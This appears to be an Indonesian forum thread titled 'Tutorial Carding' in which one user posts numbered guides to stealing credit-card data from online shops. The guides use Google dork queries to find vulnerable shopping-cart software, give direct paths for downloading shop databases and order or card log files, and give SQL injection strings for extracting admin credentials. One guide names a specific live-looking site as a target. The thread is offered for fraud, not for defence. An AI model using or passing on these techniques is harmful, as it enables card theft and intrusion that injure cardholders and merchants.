Tutorial Carding (Bagian I)

xyer

Sorry, we encountered an error while displaying this content. If you're a user, please try again later. If you're an administrator, take a look in your Flarum log files for more information.

xyer

Sorry, we encountered an error while displaying this content. If you're a user, please try again later. If you're an administrator, take a look in your Flarum log files for more information.

xyer

Tutorial Carding (Bagian III)

1. Cari target dahulu Website PDshopro di google.com, dengan keyword allinurl:/shop/category.asp/catid=

2. Kita lihat dulu konfirgurasi databasenya dg mengganti urlnya menjadi : www.contoh.com/admin/dbsetup.asp

3. Contoh target : http://www.marktwainbooks.com/admin/dbsetup.asp

4. Kita akan mendapatkan output kira² dg keterangan sbb:

5. Nah, dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb

6. Sekarang, untuk mendownload file sdatapdshoppro.mdb dapat dilakukan dg merubah urlnya menjadi:

7. http://www.marktwainbooks.com/data/pdshoppro.mdb

8. Untuk membuka file .mdb-nya dengan menggunakan program Microsoft Access

/* ------------------------------|EOF|------------------------------ *

xyer

Tutorial Carding (Bagian IV)

'`%%`%%`%%,`%%'`% Materi ke-12 : VP-ASP Shopping Cart 5.0 Cara II`%%`%%`%%,`%%'`% '

!NB : SQL Injection vulnerability pada script 'shopdisplayproducts.asp'

1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopdisplayproducts.asp

2. Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp

http://.../vpasp/shopdisplayproducts.as ... 20'a%25'--

3. Ganti²lah nilai dari string url terakhir dg:

%20'a%25'--

%20'b%25'--

%20'c%25'--

dst...

4. Naah.. kalau berhasil, kita akan mendapatkan informasi username dan password admin!

5. Untuk login admin ke http://.../vpasp/shopadmin.asp

6. Demikanlah, Materi ke-4 Selesai.

/* ------------------------------|EOF|------------------------------ *

xyer

Sorry, we encountered an error while displaying this content. If you're a user, please try again later. If you're an administrator, take a look in your Flarum log files for more information.

xyer

Tutorial Carding (Bagian VI)

Materi ke-6 : Meta Cart Database

!NB : free Ecommerce Shopping Cart System berdasarkan ASP dan SQL!

1. Cari target dahulu Website Meta Cart di google.com, dengan keyword allinurl:/metacart/

2. Misalkan kita mendapat target dg url http://www.contoh.com/metacart/blablabla , maka

3. Download file mdbnya dengan mengganti urlnya menjadi http://www.contoh.com/metacart/database/metacart.mdb

4. Mudah khan? smoga berhasil, materi ke-6 Selesai.

/* ------------------------------|EOF|------------------------------ *

xyer

Tutorial Carding (Bagian VII)

1. Cari target dahulu Website PDG Cart di google.com, dengan keyword allinurl:/shopper.cgi?

2. Hasil yang sesuai, kemungkinan berupa url /cgi-bin/shopper.cgi?display=action atau ?checkout=action

3. Nah.. utk melihat file log ccnya, ada di :

/cgi-bin/shopper.cgi?search=action&keywords=apollos%2520&template=order.log

/cgi-bin/shopper.cgi?search=action&keywords=cgi_bin%20&template=order.log

/cgi-bin/shopper.cgi?search=action&keywords=cgi_bin%2520&template=shopper.conf

/cgi-bin/shopper.cgi?search=action&keywords=powerd0wn%20&template=shopper.conf

/cgi-bin/pdg_cart/shopper.conf

/cgi-bin/products/loadpage.cgi?user_id=id&file=/orders.txt

4. Cobalah untuk bermain dg mengganti² url tersebut.

5. Materi ke-7 Selesai, semoga sukses.

/* ------------------------------|EOF|------------------------------ *

xyer

Tutorial Carding (Bagian VIII)

'`%%`%%`%%,`%%'`% Materi ke-8 : xDatabase `%%`%%`%%,`%%'`% '

!NB : Mendowload file mdb pada folder shop_db!

1. Cari target dahulu Website xDatabase di google.com, dengan keyword allinurl:/shop_db/

2. xDatabase akan menyimpan file mdbnya dg xDblocation di /shop_db/shopping.mdb

3. Nah.. utk melihat file log ccnya, ada di : http://www.contoh.com/shop_db/shopping.mdb

4. Gampang khan? ok, materi ke-8 Selesai.

/* ------------------------------|EOF|------------------------------ *

xyer

Tutorial Carding (Bagian IX)

'`%%`%%`%%,`%%'`% Materi ke-9 : DCShop `%%`%%`%%,`%%'`% '

!NB : Mendowload file log order DCShop pada folder orders!

1. Cari target dahulu Website DCShop di google.com, dengan keyword allinurl:/DCShop/

2. DCShop akan menyimpan file log ccnya di /DCShop/orders/orders.txt atau

/DCShop/Orders/orders.txt

3. Nah.. utk melihat file log ccnya, ada di : http://www.contoh.com/.../DCShop/orders/orders.txt

4. Materi ke-9 Selesai.

/* ------------------------------|EOF|------------------------------ *

xyer

Sorry, we encountered an error while displaying this content. If you're a user, please try again later. If you're an administrator, take a look in your Flarum log files for more information.